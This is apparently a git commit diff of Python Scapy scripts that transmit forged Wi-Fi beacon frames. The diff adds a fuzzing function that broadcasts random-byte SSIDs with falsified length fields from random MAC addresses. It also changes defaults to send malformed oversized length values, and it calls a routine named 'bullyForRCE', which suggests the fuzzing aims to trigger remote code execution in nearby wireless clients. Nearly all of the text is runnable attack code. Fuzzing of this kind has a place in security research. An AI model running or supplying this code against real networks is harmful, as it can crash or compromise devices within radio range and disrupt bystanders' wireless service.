This commit is contained in:
2024-09-27 16:07:48 -06:00
parent 864c413c79
commit 74ecdcb053
2 changed files with 41 additions and 7 deletions
+34 -1
View File
@@ -75,6 +75,39 @@ def sendRandBytesBeaconsRaw(
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
sendProbeRaw(SSID, repeat, interval, listedLen)
#sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15)
#sendRandBytesBeacons(100, 20, 5, 0.1)
sendFuzzBeacons()
def fullFuzz(
numOfBeacons=200,
repeat=3,
interval=0.150):
for i in range(numOfBeacons):
realLenSSID = random.randint(0,255)
SSID = random.randbytes(realLenSSID)
urlEncoded = urllib.parse.quote(SSID)
fakeLenSSID = random.randint(0,255)
senderMAC = RandMAC()
dot11 = Dot11(type=0, subtype=8,
addr1='ff:ff:ff:ff:ff:ff',
addr2=senderMAC,
addr3=senderMAC)
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',
info=SSID,
len=fakeLenSSID)
frame = RadioTap()/dot11/beacon/essid
print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n")
sendp(frame, iface=iface, inter=interval, count=repeat)
fullFuzz()
+7 -6
View File
@@ -15,11 +15,11 @@ def sendProbe(SSID,
frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=interval, count=repeat)
def sendProbeRaw(SSID,
repeat=1,
interval=0.200,
listedLen=255,
lenOverride=False):
def sendProbeRaw(SSID='F',
repeat=3,
interval=0.150,
listedLen=512,
lenOverride=True):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon()
@@ -125,5 +125,6 @@ def bullyForRCE(max=10000,
print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}")
sendp(frame, iface=iface, inter=interval, count=repeat)
bullyForRCE()
sendProbeRaw(repeat=300)
#bullyForRCE()
#sendRandBytesBeacons(100, 20, 5, 0.1)